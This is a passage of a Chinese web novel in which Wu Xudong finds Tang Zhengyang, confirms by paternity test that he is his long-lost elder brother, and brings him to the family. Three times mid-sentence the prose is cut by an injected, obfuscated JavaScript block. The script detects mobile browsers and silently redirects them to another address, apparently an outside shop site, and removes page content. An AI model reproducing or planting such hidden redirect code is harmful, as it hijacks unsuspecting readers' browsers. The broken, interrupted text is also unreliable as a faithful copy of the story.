没想到年纪轻轻就是什么总了,这么一对比,他很惭愧。 混到三十几岁,才勉强能被人喊一声汤总。 他是个有恩必报的人,立马应道:“原来是黄金海岸的小安总,多谢你送我去医院。走这么远渴了吧,我去倒水。” “不用,你坐下,随便聊聊。”安小蕾叫住了他,毕竟他们都是冲他来的,根本不是为了帮吴巷北了解准婆家的情况。 汤正阳只好让兄弟代劳。 热茶很快端上来,家里仅有的一罐碧螺春也拿出来了,特地招待贵客。 还泡了几杯麦乳精,总之,有什么好的都尽量用上,免得怠慢了未来儿媳妇的家人。 一群人坐在一起,随便聊聊。 汤汇德提到家里就剩大儿子汤正阳和老六汤丰登没有成家。 周子琰便不经意的问道:“汤伯,听说正阳大哥是你们收养的?他的亲生父母还在世吗?” “这我还真不知道,他自己都不记得了。”汤汇德并不介意别人打听汤正阳的身世,因为附近的乡亲们都好奇过,没什么大不了的。 周子琰下意识看了看吴旭东,他虽然什么也没说,然而他挺直的脊梁微微松弛了半分,是泄气的姿势。 她只能用眼神安慰,慢慢来,别着急。 她继续问道:“看得出来你们感情挺好的,有没有考虑过,万一哪天他父母来找他怎么办?” 汤汇德早就注意到了吴旭东,不得不承认,这小子跟正阳长得还挺像的。 不过全中国这么大,偶尔有两个长得像的真不算什么。 他笑着说道:“其实我跟他妈妈也考虑过这个问题,他妈妈说了,当然是让他回去啊,这孩子来的时候穿得可体面了,一看就是城里的孩子,在农村真是耽误他了。” “我的爸妈只有你们。”汤正阳非常严肃的强调道,“就算我哪天真的想起来自己的身世,那也不重要。是你跟我妈给了我第二次生命,我只认你们。” “爸都知道。”汤汇德非常感动,但还是劝道,“可是正阳啊,也许你的亲生父母一直在找你呢。前些年日子不好过,他们也许是出事了,也许是去外地投奔亲友,跟你失散了,找不到你了。总之,如果真的有一天有人来找你,爸爸还是希望你可以跟他们相认。不过你放心,这里永远是你的家。” 汤正阳沉默了,他确实不记得了。 当初摔得头破血流,能活着已经是他的造化。 别的不再奢望。 吃饭的时候,汤家的叔伯兄弟们也来了,一个劲的夸赞汤丰登是个好孩子,吴巷北跟他结婚肯定吃不了亏。 这齐心协力的一大家子,真是让人感触多多。 吃完饭,吴旭东犹豫很久,还是叫上汤正阳:“我有点事想问问,汤大哥可以跟我来一下吗?” 汤正阳以为他要问汤丰登的事情,当然义不容辞。 毕竟,做弟弟的帮姐姐把把关,那是天经地义的。 两人一起踏着院子外面的雪,往远处走去。 这里是山谷,到处都是积雪压弯的树木,和一丛丛匍匐在雪下的草药。 看得出来,春夏两季的风景一定很美。 是个山清水秀的好地方,难怪会哺育出汤家这样的人家。 两人远走越远,身后的房屋变得矮小,如同大山怀抱里的一个小牛犊,静静的卧在地上,静静的守候。 汤正阳递了根软中华过来,吴旭东接了,夹在耳朵上没抽,伸手掏出黄鹤楼,递了一根过去。 汤正阳没抽过这么好的烟,也夹在耳朵上,准备带回去给他爸尝尝。 就这么,两人一路向前,却始终没有说话。 汤正阳不是笨人,他在前面的背风处停下,问道:“你不会是来找我的吧?” “为什么这么问?”吴旭东也停下,背对着呼啸的北风,看着这个比他矮了三四厘米的老大哥。 汤正阳笑笑:“直觉,你跟我长得挺像的,而且,你们一家都在打听我的事,对我弟弟似乎不是很感兴趣。” 吴旭东没有否认。 汤正阳又问:“你想说什么,不必绕弯子。” “也许你应该先听听我的故事。”吴旭东抬手,掸落老哥肩上的积雪。 面对一个陌生人,撕开自己的伤疤,这需要莫大的勇气。 不过,来都来了,总得试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744770|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试。 逃避是没用的。 要不然回去了也不踏实。 吴旭东便大致讲了讲自己五岁发生的变故。 忽然出事的爸爸,病倒的妈妈,被拦截的电报,被打晕拐卖的稚童…… 以及两年前他是怎么误打误撞,被周子琰认出来带回吴家的。 讲到最后,他叹了口气:“我其实挺羡慕你的,虽然你跟当初的我一样,也搞不清楚自己的父母是谁,但是最起码汤家的人很爱你。” “你老婆也很爱你,看得出来,她怀孕了吧,吃饭都没胃口。”汤正阳是个心细如发的人,也是个聪明人。 一群人冰天雪地的赶来,他弟弟女朋友的娘家人却只有一个,他们冒着风雪来北方受冻,只能是为了周子琰。 而周子琰又是为了谁? 不言自喻。 吴旭东承认:“没错,我老婆怀孕了,我老丈人他们不放心,担心这里跟王家沟一样一堆麻烦。看来我们想多了,这里民风淳朴,挺好的。” “嗯。”汤正阳伸手,也帮他掸落肩头的积雪,“我知道你想说什么。但是我的责任还没有尽完,在这之前,我什么也不想改变,你懂我的意思吗?” “你知道?”吴东旭蓦地鼻子一酸,摁住了肩上的手,“那你觉得,我是不是想多了?” “我不确定。不过直觉上来说,我并不抵触跟你亲近。你看,我这半张脸跟毁容没什么区别,我也不爱拍照片,不过我在你面前,没觉得有什么难为情的。”汤正阳是个明白人,干脆把话说开了,“但是你该知道,有恩不报非君子。丰登一天没有成家,我就一天不可能去探究我的身世。” “哪怕你当初是被人谋害的?”吴旭东忽然有些气恼,“就像我,好端端的怎么就被拐卖了呢?这个问题困扰了我十七年,直到我老婆找到我,直到我结婚后,得知爷爷奶奶留了四合院给我。这一切都是阴谋,难道你不想报仇吗?” “兄弟,你的痛苦我懂。我也无数次的问过自己,为什么摔下山崖的是我?为什么没有人来找我?不过时间久了,我发现汤家人挺好的,爱会治愈一切,所以后来我已经彻底不想了。相信我,等你做了爸爸,你估计也没空去研究那些事情了。眼前的幸福最重要,不要为了报仇浪费跟家人团聚的时间,不值得。”汤正阳说的都是掏心窝子的话。 不过他也明白,他这么豁达,是失忆的功劳。 如果他记得那些伤害他的事,也许就是另外一个发展了。 所以,他有点站着说话不腰疼。 但是没办法,他不想看到这个小老弟为了仇恨蒙蔽双眼,那太痛苦了。 吴旭东沉默了,他低着头,默默地解开了自己的衣服,一件,一件,又一件。 直到露出里面狰狞的伤疤。 即便涂抹了两年的祛疤膏和护肤精油,也只是淡化了一部分,并不能完全抚平那些沟壑。 汤正阳惊讶得说不出话来,赶紧给他扣上。 低着头,一颗,一颗,又一颗。 他有些难受,背过身去,说话带着鼻音:“我身上也有。” 回过身来的时候,他的衣服也解开了,伤口虽然不如吴旭东的惨烈,但也好不到哪儿去。 硬要做个直观的比较的话,吴旭东的痛苦是满分,他的痛苦九十分。 吴旭东一把将他的衣服掩上:“不是汤家的人打的对不对?” “嗯,是之前的。”汤正阳低头扣上扣子。 这些年罗素湘想尽一切办法,用了各种土方子,想帮他抹去这些伤痕,现在的已经是她竭尽全力之后的样子了。 脸上的也是,不过那是摔下来的时候划伤的,因为治疗及时,所以不如身上的明显。 他怎么也没想到,这世上居然会有个人跟他一样,有过惨烈的难以言说的童年。 他拍了拍吴旭东的肩膀:“好兄弟,你给我点时间,让我想想。起码等丰登弟弟结婚之后,我才能去找你。” “你有没有想过一个问题?” “嗯?” “如果他真的跟我姐结婚了,咱们以后就是一家人了,说不定他还是你妹夫。” “啊……还真是。世界真小。” “是啊,世界真小。所以——” “什么?” “你是我大哥吗?” “不知道,或许吧。” “听说香港那边有什么亲子鉴定,我找人问问。” “啊,这我知道,国内好像有刑侦队引进了,不过挺贵的。” “我不差钱,你愿意给我一点头发指甲之类的东西吗?” “好。” “你好像不排斥我。” “你也没有排斥我呀。” “万一鉴定结果不是呢?” “没关系,你这个兄弟我认定了。” “没有血缘也认?” “那当然,打眼看到你就觉得投缘。” “一言为定!” “君子一言,驷马难追。” 52. 亲的 吴旭东准备走了,太冷,膝盖吃不消。 临走时跟汤正阳进了趟卧室,留下了老丈人家的地址和电话号码。 在事情百分百确定之前,他还不想让他爸知道,万一闹笑话,岂不是往爸爸伤口上撒盐。 “你的号码——”环顾一圈,他好像没有看到座机。 汤正阳撕下香烟壳,笑笑:“这里太偏僻了,不太好装座机。有事你可以打给后山的小卖部,不过我大多数时间都不在家。” “你买个大哥大。”吴旭东不懂,他不是挺有钱的吗,至于连个大哥大都舍不得买吗? 汤正阳沉默了很久,到底还是答应了:“等我今年跑几趟药材就买。” “你一直在我那边跑?”吴旭东好奇,城市也不算很大,怎么就没有遇上呢? 汤正阳摇头:“不,我在更南边跑,年前第一次去你那里给新认识的朋友送货。” 那吴旭东不郁闷了,才去了一次,那遇不上也正常。 他又问周子琰拿来拍立得,关上门,问道:“拍个合照?” 万一结果出来了确实是亲的,也好给他爸爸看看亲大哥长什么样。 汤正阳没有拒绝:“给我也留一张吧。” 大老远的过来,两人又这么像,当个纪念好了。 是不是亲的对他来说已经不重要了。 吴旭东没意见,不过他没带三脚架,便把周子琛喊了进来。 一人一张,妥了。 周子琛很识趣,拍完照片就出去了。 拿着照片,汤正阳漫不经心地问道:“你小舅子没有结婚吧?” 吴旭东关上门:“刚毕业半年多,还没有见他带女朋友回来。” “他们姐弟几个?” “四个,还有个大哥没来,飞行员,太忙。” “哦,看来只剩他没有结婚了。” “不,我二姨姐也没有结婚。” “啊……怪不得看着年轻。” “女人只要没有生儿育女,看着确实显小。” “她多大了?” “快三十了。” “具体多大?” “二十八,上的少年班,二十出头就是博士了。” “真厉害,在哪里上班?” “你还不知道?她是研究所课题组负责人,你弟弟跟我三姐都是她在带。” “那咱们几家还挺有缘。” 吴旭东沉默了,这汤大哥真有意思,身世的问题倒是开门见山,一点弯子也不绕,结果现在跟他绕了一个大圈子打听安小蕾的事。 不会看上她了吧? 他倒是不介意帮忙递递消息,只怕是襄王有意神女无心。 索性不提这话,只说鉴定的事:“等结果出来我会通知你的,不过你要是在跑药材——” “我月底去找你,二十几天,结果肯定出来了。”汤正阳不是逃避问题的人。 既然都说到这个份上了,那就自己去问问结果吧。 吴旭东松了口气:“那好,我要是不在城里,就是去岛上陪我老婆了,到时候你让我老丈人给我打电话,我会回来的。” “行,你老婆是当兵的吧?”汤正阳点头。 “看得出来?” “看得出来,走路姿势,身姿板正,普通人学不来的。你老丈人应该也是。” “没错。” “虎父无犬女。” 吴旭东笑了,这就不知道是夸的周子琰还是安小蕾了。 毕竟汤正阳并不知道,安小蕾不是周中擎的亲女儿。 算了,结果还没有出来,没必要什么话都往外抖。 他要走了,勾住汤正阳的肩膀,用力的拍了拍:“月底一定去找我。” “放心吧,忘不了。”汤正阳也用力拍拍他。 出了房间,陪着他们一路下了山,看着他们在路边上了大巴车,这才回来了。 他把合照放在公文包里,跟安小蕾的那张便条紧挨着。 * 周子琰今年不用下水了,每天晚上都可以回来。 所以吴旭东的生活变成了三点一线——大院,服装厂,老丈人家,有时候是爸妈家。 每天来回奔波,他并不觉得劳累,反倒是前所未有的充实起来。 找他爸采集生物样本的时候,也没有解释原因。 反正他爸也没问,知道他不想说的问了也白搭。 再说,他妈妈正在做康复训练,他爸需要比以前更加耐心,更加专注才行。 比如以前吃饭,他爸喂的话只要二十分钟,现在他妈妈自己吃,泼泼洒洒的,动辄一个多小时。 护工到底只是没有亲缘关系的陌生人,哪有这样的耐心,帮忙洗洗衣服拖拖地板也就不错了。 所以他什么也不说,静静等待结果才是最佳策略。 不过这年头能做鉴定的机构特别少,只有北京上海这样的大城市才有,所以需要找安正则帮忙,才能排上号。 那自然要多等一段时间。 这段时间他心如止水,只是偶尔走在路上,看到别人家兄弟勾肩搭背有说有笑的,不免露出羡慕的神色。 这天从外面回来,隔壁冒营长家来了亲戚。 是个年轻小伙子,跟冒营长像是一个模子刻出来的,个头比冒营长高些。 吴旭东打了声招呼:“嫂子,这位是?” “这是长城,我家老冒的弟弟。”叶美娟笑呵呵的,介绍道,“长城,这就是我跟你说的吴旭东,人家是大学生呢,快,找他取取经。” 冒长城的个头在南方来说很高了,足足一米七八,不过在吴旭东面前还是不够看的。 他惊讶于这个男人的身高,不禁叹了口气:“我就知道,我哪里都比不过别人。” 叶嫂子赶紧劝他:“不就是两次没考上嘛,没事的,这学期一定行。快啊,跟人请教请教。” “东哥好,我最近厌学,不想上了,也不想考了,这都第三次了,再考不上我没脸见人了。”冒长城无奈,来都来了。 都怪嫂子太热情。 非要跟他爸妈说什么隔壁住着一个大学生呢。 吴旭东倒是没有拒绝,客气道:“跟我进来吧。” 新大院的房型,学的是外面的商品房。 营级干部就是两室一厅一厨一卫,团级的三室一厅一厨两卫。 连级的小一点,一室一厅一厨一卫。 总之,再也不用像以前那样,一个院子的人抢一个公用浴室了。 还通了自来水和煤气,方便得很。 他把公文包放下,先去淘米煮饭,又打开冰箱把早上买的菜拿出来洗洗。 边忙边聊:“你学的是文科还是理科?” “文科,要背的东西太多了,记了后面的忘了前面的。”冒长城很是痛苦,不过他还算有眼力见儿,知道过来帮忙剥大蒜。 吴旭东学的是理工科,对文科心得不大,不过他还是尝试帮忙:“有没有试过联想记忆法?比如一些概念串联起来,或者跟生活里的什么有趣的事情联系上,会好记很多。” “比如呢?”冒长城从没听过这样的法子,很是好奇。 吴旭东系上围裙,开始炒菜:“最简单的例子,地理老师肯定都说过的,咱们国家的版图像只大公鸡,这就属于联想记忆法。” “那别的呢?” “比如英语单词smog,烟雾对不对。你可以把它想象成smoke和fog的结合。” “啊,对,smoke是烟,fog是雾。” “嗯,除此之外,还有归纳记忆法,串联记忆法。比如词根相同的单词,几何里面有关某一个特殊图形的所有理论,三角形的归三角形,圆形的归圆形,自己把它整理下来。” “还有吗?” “画逻辑树会吗?” “什么是逻辑树?” “比如英语,同一个词根发展出来的单词,都列出来,词根就是大树的主干,其他的词语就是大树的枝叶和分杈。” “那几何的话,就是把同一个定理延伸出来的其他定理都整理上去?” “对,记得做一下区别,比如英语里面,形容词的都写左边,动词的都写右边,混合词性的用不同颜色的笔,写上面。” “我试试。” “在哪儿上学?” “在老家。” “这几天在岛上好好试试,明天我检查你的成果。” “好。” “去吧,我自己来。” “我还有个问题。” “说。” “你多大了,怎么看着比我年轻?” 吴旭东回头看了眼,确实,冒长城跟他哥冒长征一样,黑不溜秋的,显老。 不过他家周子琰也不白,早就在部队晒成小麦色了,但却并不显老。 应该还是五官的功劳最大。 有人就算再白,看着也是老气横秋的。 不过这话说出来伤人,于是吴旭东笑笑:“我不怎么晒太阳,一白遮百丑。” “那倒也是,我就没见过你这么白净的男人。”冒长城回去了。 吴旭东却陷入了沉思。 他倒是见过。 谁呢,汤正阳。 原本他没太在意,冒长城无意间的一句话,倒是让他注意到了这个细节。 估计真的是亲兄弟吧,跑买卖的人,风吹日晒的,怎么会那么白净呢? 一定是基因的力量。 他妈也白净,不过她和爸爸长期待在室内,所以他没有多想,现在看来真是疏忽了。 再想想吴燕西,虽然当老师不用风吹日晒,也不黑,但还是不如他跟汤正阳白净。 晚上周子琰回来,他搂着周子琰,谈及冒长城的时候,提到了汤正阳。 最近他总提汤正阳,周子琰明白,他在期待着什么。 周子琰转过来:“问你一句实话。” “嗯?”最近什么也不能做,吴旭东只能埋在她细长的天鹅颈间,默默忍耐。 周子琰知道他不舒服,但他不想用手,算了。 她问道:“其实你心里还是挺在意燕西哥的吧?就算他不是你亲大哥,起码小时候的记忆是真的。我记得他小时候对你还不错的,不像长大之后这样。” 吴旭东没有否认。 声音闷闷的:“肯定是我五岁那年发生了什么。” “所以,到底发生了什么呢?虽然正阳大哥失忆了,但是罗阿姨捡到他的时间正好在你出事之前。同年同月,先后相差半个月而已,你想想,会不会是一个系列案件,只不过,他是最早的受害者。”周子琰的推断合情合理。 毕竟八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13753953|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅发的电报就在这两件事情中间,一切都对得上。 吴旭东抬头:“我也考虑过这个问题。我已经通知大姑小姑了,让她们帮忙查查,那一年吴家栋他们到底有没有什么异常反应。” 周子琰蹭了蹭他的胡茬:“那就好。我怀疑你和正阳大哥都是被他们害的,一定要好好收拾他们。” “不过……” “怎么了?” “我看过法律条文,刑事追溯期是根据量刑来定的,杀人未遂最多十五年,拐卖儿童五到二十年,我跟正阳大哥的事已经十九年了。” “我知道,但是你想过没有?害人是有瘾的。就算你们的事情过了追溯期,其他的事情呢?尤其是拐卖儿童,很多都不是孤立的案子,毕竟一本万利。” “这我知道,所以我一直在查人贩子。问题的关键,还是要找到拐卖我的那个人。” “那个特征很明显的,警察那边也都登记了,现在最大的阻碍在于公案系统没有联网,有些案件没到全国通缉的程度,外地的警察就不会知道。” “你想说什么?” “我想说,那个人肯定会在别的地方犯案,迟早也会因为别的案件被抓。咱们可以研发一个什么系统,帮助警察把这些案子串联起来。” “我懂你的意思了。” 吴旭东悟了。 他老婆是搞侦查技术的,肯定接触了一些前沿的科技。 好在他自己就是学电气的,理工科的东西触类旁通,实在不会的可以自己现学。 不过周子琰现在提到的系统,那就涉及到计算机领域了。 如果他从无到有的去学太慢了,那何不挖几个大学生过来帮忙呢? 正好可以投资电子科技领域。 因为他相信,未来一定是电子科技的时代。 自己也连带着学一学,将来也好跟孩子显摆显摆老爸的知识储备。 宜早不宜迟,第二天他就张罗了起来。 楚劲雄得知吴旭东要筹办一个电子科技公司,惊讶得下巴要掉了:“你不是吧,前两年还说要做家电分销商的呢?” “我就不能都做吗?”吴旭东现在特别需要钱,手里的那点做做小生意还可以,想要做个电子科技公司,还是有点捉襟见肘的。 他也不要什么面子了,直接给老江打了个电话:“我要做你的分销商,上半年只交定金,或者直接拿货,卖出去了再给你汇款,你考虑一下。” 老江哭笑不得:“你这个混账小子,我一直在等你开口呢!可惜我叔叔说你自尊心强,让我不要主动问你,可把我憋死了!” “能行?” “怎么不行了?我整个厂子都是你救的,要不是你身份特殊,我都想给你干股了!” “行,我选完店铺地址给你打电话。” “没问题!” “要好的!一流货!” “放心吧兄弟,咱俩谁跟谁啊!团团过年的时候还念叨呢,问我吴叔叔有宝宝了没有。” “快了,今年夏天吧。” “好好好,到时候一定告诉我,我带团团去给你道贺。” “好。” 吴旭东挂了电话,又给赵建华打了个电话:“给我五台二手货车,专门运家电的,司机不用管,我自己找。只给你押金,货款下半年给你。” “要什么押金啊,我还能不信你吗?”赵建华一口应下了。 他可不是傻子,这两年他弟弟在周中擎的公司做事,从一个木讷的书呆子历练出来了,去年年底还拿了一万块奖金呢。 他高兴还来不及,这点小忙当然是要帮的,赶紧张罗去了。 两天后吴旭东就把店铺选好了。 新城区有个商业街,正好在汽运站和居民区中间,物流方便,人流旺盛。 最后,就剩司机了。 好办,跟自己老婆开口没什么难为情的。 “介绍几个退伍老兵给我。”吴旭东夜里回来,跟周子琰也安排了任务。 三天后人手到位,直接出发,往老江厂子里去了。 不是没有考虑本地的家电,不过质量和口碑都赶不上老江那个厂子的。 没办法,老江的厂子浴火重生,这两年不知道走了什么运,央视都有他们的广告。 估计是龚青河发威了。 总之,店铺再装修装修就可以了。 等待家电的日子里,吴旭东还不忘给安正则去了个电话。 今天正月二十八,明天就要出结果了。 吴旭东夜里睡不着,翻来覆去的,像是热油锅里掉进去的冷水珠,那叫一个难受。 周子琰从身后抱住他:“正阳大哥不是说了吗,就算没有血缘关系,以后也跟你称兄道弟。别想那么多,睡吧。” 吴旭东转过来,紧紧抱着周子琰。 第二天一早就给安正则去了电话。 “还没上班呢,出来了我给你打电话。” 吴旭东只好去家里转转,看看自己爸妈。 时不时掏出大哥大看看。 吴国正从没见过儿子这么沉不住气的时候,不禁好奇:“怎么了?生意上的事?” “爸,做好心理准备,我有个重磅消息要告诉你。”吴旭东话音刚落,电话响了。 安正则很忙,所以一切言简意赅,就说了两个字:“亲的!” 53. 相认 亲的,真的是亲的! 吴旭东悬着的心终于落下来了。 他说了声谢谢,挂断电话后想说点什么,却骤然脱力,跌坐在沙发上。 紧绷的神经一旦松弛下来,脆弱的情绪便攻上高地,占山为王。 他忽然笑了,笑着笑着,却被心酸淹没。 可惜他一滴泪也落不下来。 一旁的吴国正完全不知道发生了什么,只得赔着小心:“怎么了儿子,是不是亏钱了?别怕,爸爸手里有钱,要是不够,你大姑家还有。” 吴旭东说不出话来,双手插进粗硬的头发里,低头看着木板地面。 高兴,愤怒,遗憾,庆幸…… 种种的情绪,搅动风云,汇聚成汹涌的台风,拔起大树,摧毁房屋,冲垮堤坝,掀起滔天的浪。 他的内心世界,正在遭受剧烈的冲击,重建需要时间。 吴国正只能先走开,照顾老妻去了。 等老妻坐在旁边自己吃起了早饭,他才重新回到客厅:“儿子?亏了很多吗?” 吴旭东猛地抬头,带着一丝埋怨:“你就不能盼我点儿好?” “爸爸不是那个意思。”吴国正想了想,换了个说法,“爸爸只是想让你知道,天塌下来不用你一个人顶着。” 吴旭东起身,掏出兜里的照片:“我的天没塌,你的塌了。自己看看吧。” 吴国正接过照片,诧异地打量着那个左半边脸有伤的男人。 “怪了,这谁啊,跟你还挺像的嘛。”吴国正真的有点茫然,即便是兄弟家的孩子,也没有这个跟东东像。 就连死了的燕西,跟这个比起来也差了点意思。 他不理解:“他是谁?” “你相信我吗?” “废话,你是我儿子我不信你信谁?” “那你相信安正则吗?” “他可是法院的,不会撒谎的,我信。” “那你相信你自己吗?” “儿子,你到底想说什么?” “我会安排你跟他见一面,你自己问。” 吴旭东留下照片,出去了。 至于他为什么不说清楚,大概是怨恨。 怨恨他老子不够细心,被人替换了大儿子都不知道。 但是他明白,自己这是无理取闹。 这段时间他已经问清楚了。 他爸爸当时在部队,妈妈因为工作调动的问题,没办法去随军。 头胎产程很长,妈妈生大哥足足生了一天一夜,生完力竭,来不及看孩子,当场昏迷了过去。 所以大哥生下来,第一时间接触大哥的不是爸妈,而是医院里的人。 后来爸爸赶回来,看到的已经是燕西大哥了。 吴燕西的身上有胎记,从他妈妈醒来喂奶的那一刻起,替换已经不可能再发生。 只能是在之前。 可操作的时间很短,一般人真的做不到。 只能是身边亲近的人——知道他妈妈什么时候预产期,提前做好了安排。 这人肯定不是大姑,大姑对自己的两个孩子很好,连出嫁的女儿都帮忙买了房子,她不可能把亲生孩子换给兄弟家,而且大姑有儿有女,换子的动机微乎其微。 这人也不是小姑,小姑贪财,如果真的把亲生儿子塞到了他爸爸身边,怎么着不得把他爸爸手里的钱扒拉过去吗? 至于他小叔,这个他不确定,不熟。 可是小叔最大的孩子才比他大了五岁,时间对不上。 那就只能是吴仲和那一支的人在搞鬼。 是吴家栋,还是吴家梁,亦或是他们的三个姐妹家? 难说。 总之,吴旭东现在心里很乱,不想说话。 他只想找到汤正阳,赶紧把当年的真相调查清楚。 心情烦躁的时候,只有周子琰的小公寓可以还他宁静。 他给楚劲雄打了个电话:“今天有事,专卖店的装修你盯着点。” “是陪周姐产检吗?”楚劲雄还挺细心,推测快三个月了,该产检了。 吴旭东没有否认,挂断电话,打开了小公寓,寻求片刻的安宁。 太阳很大,风儿很轻。 年前的那场罕见的大雪,带走了整个冬季的寒冷。 开春以来气温一直保持在十二三度左右,不冷不热的,真好。 他站在阳台上,静静的看着楼下的行人。 世界这么大,以至于至亲骨肉天涯陌路。 世界却又很小,以至于时隔多年,三姐误打误撞,跟汤家的人产生了交集。 某种意义上来说,老天没有瞎眼。 祂在用祂的方式,把大哥带回他们身边。 真好。 他紧紧地握着大哥大,期待铃声的响起。 今天已经是正月二十九了,说好月底来的,大哥不会食言吧? 吴旭东站了一会儿,有点累,索性去沙发上躺着。 不知不觉竟然睡着了。 他做了个梦,梦里有一对兄弟,一对姐妹,住在春暖花开的山包里,友爱非常。 一个卷着裤腿的农夫乐呵呵的,提着一桶鱼从山脚下的小溪边回来。 厨房里的农妇在围裙上擦擦手,笑着招呼孩子们去帮忙。 大哥搬来磨刀石和砧板,二姐去拿盆,三姐抓起小马扎就跑,嘴里喊着:“东东,快来啊,杀鱼了。” 很快响起磨刀霍霍声。 硕大的鲶鱼在砧板上蹦跶,一个人摁不住,甩了大家一身的水。 欢笑声中,四个孩子,齐心协力将它摁住。 农夫抄起菜刀,猛击鲶鱼的头部,将它敲晕…… 很快,佳肴上桌,一家六口围坐着,言笑晏晏。 吴旭东动筷子之前,还不忘拿个大碗,盛点留给周子琰。 梦醒时分,吴旭东还沉浸在一大家子吃鱼的喜悦之中。 等他意识到是大哥大在响,赶紧坐了起来:“喂——” “小东,家里来客人了,回来吧。”是老丈人打的电话。 吴旭东没问是谁,赶紧锁上门出去了。 来到老丈人家门口,抬起的手却明显的停顿了一瞬。 手里的钥匙一旦插进去,他的人生就要再次出现变局了。 是好是坏,他说不清楚。 但是直觉告诉他,这个大哥,应该不会像吴燕西一样恶心人。 他还是沉住气,打开了门。 客厅里来了不少亲眷,小姨谈九妹总是最关心他们家的事情,这会儿正握着汤正阳的手,左看看右看看,又是笑,又是哭。 大舅安一方也回来了,站在旁边没说话,但是眼中的审视不加掩饰。 他似乎在说,这个小汤看着比燕西更像是小东的亲兄弟。 其他的亲眷们也都露出相似的眼神。 而他爸妈,也被叫过来了。 这会儿他爸爸正痴痴傻傻的呆坐在沙发上,妈妈反倒是清醒一点,站在小姨身边,静静的看着汤正阳。 吴旭东轻轻关上门。 老丈人跟他解释道:“子琛给你打了一个小时电话了,你没接,只能通知你爸妈过来。” 吴旭东没有责怪老丈人的意思,他只是没想到来了这么多人。 他默默地走了过来:“爸,我爸知道了吗?” “你正则大哥跟你小姨说了。” 怪不得来了这么多人,小姨知道了,也就等于其他人都知道了。 小姨一向是个大喇叭。 就连吴燕西两口子骗钱的事也是小姨叭叭出去的,指望舆论施压,让他们收敛一点。 不过,如今不需要了。 去年夏天顾蔓蔓上诉,二审维持原判,年前已经执行了死刑。 再也没有吸血鬼来折磨他爸爸了。 吴燕西看了汤正阳一眼:“你都知道了?” “知道了。”汤正阳正如他自己说的那样,他并不抵触这个年轻小伙儿的亲近。 所以这个结果,他并不意外。 他只是没想到,这边居然有这么多亲戚。 好在这些人看起来都很友善。 他手上夹着烟,没抽,这会儿干脆把烟夹在耳朵上,客气道:“小姨,我跟小吴说会儿话。” “什么小吴,这是你弟弟。”谈九妹擦了擦泪水,扶着她姐姐去旁边坐下。 汤正阳笑笑:“嗯,弟弟。” 他最不缺的就是弟弟。 没想到老天又送了一个过来。 亲弟弟。 不过这个结婚了,不需要他操心。 他招呼道:“小旭,过来。” 吴旭东长这么大,头一次被人这么称呼,怪不习惯的。 不过他不排斥这个称呼。 一个是小旭,一个是正阳,一听就是亲兄弟。 他跟汤正阳去了阳台上。 关上阳台的推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762458|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉门,汤正阳并没有想象中的激动或者惊喜。 而是很平静的说道:“小旭,我有个事情需要强调一下。” “我知道,你不想改姓。”吴旭东并不失望,大哥的命是汤家人救的,姓汤无可厚非。 汤正阳笑了:“你果然不会为难我。” “跟爸说话了吗?” “还没有,小姨问了很多问题,没空跟他打招呼。” “他也没有跟你说话?” “他好像有点难以置信,一直呆坐在那里,不知道在想什么。” “是有点突然,他没有心理准备。” “我知道,你要等结果出来才敢说。” “嗯。这次过来待几天?” “后天就得走,我答应过你,赚了钱买大哥大,还差点。” “差多少,我给你。” “不用,我朋友借我了,我买了,所以要去赚钱还债啊。” “号码多少?” “给你——”汤正阳递过来一截烟壳,“我说话算数吧?” “男子汉大丈夫,这也值得炫耀?” “哈哈哈,炫耀一下不行吗?” “行,我哥真是言而有信,顶天立地大丈夫。” “你小子,嘴巴真甜,难怪一毕业就结婚了。” “羡慕我呀?你自己加把劲儿啊。” “哈哈,我不急,再说吧。又没有学历,又没有脸模样,谁看得上我。” “你不是……”算了,吴旭东也知道他跟安小蕾才见过一面,言之尚早。 不过他还是问了问:“那你什么学历?” “小学没毕业。” “我不信。” “我自己也不信,你觉得我什么学历?” “看你的谈吐,不像是没文化的样子,自己上过夜校?” “你小子,这都能猜到?” “亲兄弟嘛,我要是你,我也不想做个文盲,肯定要学点什么的。” “是啊,不想做文盲。所以我念了个夜校,我也不清楚自己算什么文凭,总之,配不上太好的。” “胡说,你很好。” “好,我很好,那我争取找个仙女做你嫂子。” “找不到你做小狗吗?” “好啊,你让我汪几声就汪几声呗。” “不怕丢人?” “自家兄弟,丢什么人。” “这话我爱听。” “哈哈,你小子,都快当爸爸了,还这么幼稚。” “我当爸爸怎么了,不影响你大我十一岁。你比我大,可不得让着我点,我幼稚点也是你惯的,你说是不是?” “有道理,果然是大学生的嘴巴,说不过。” 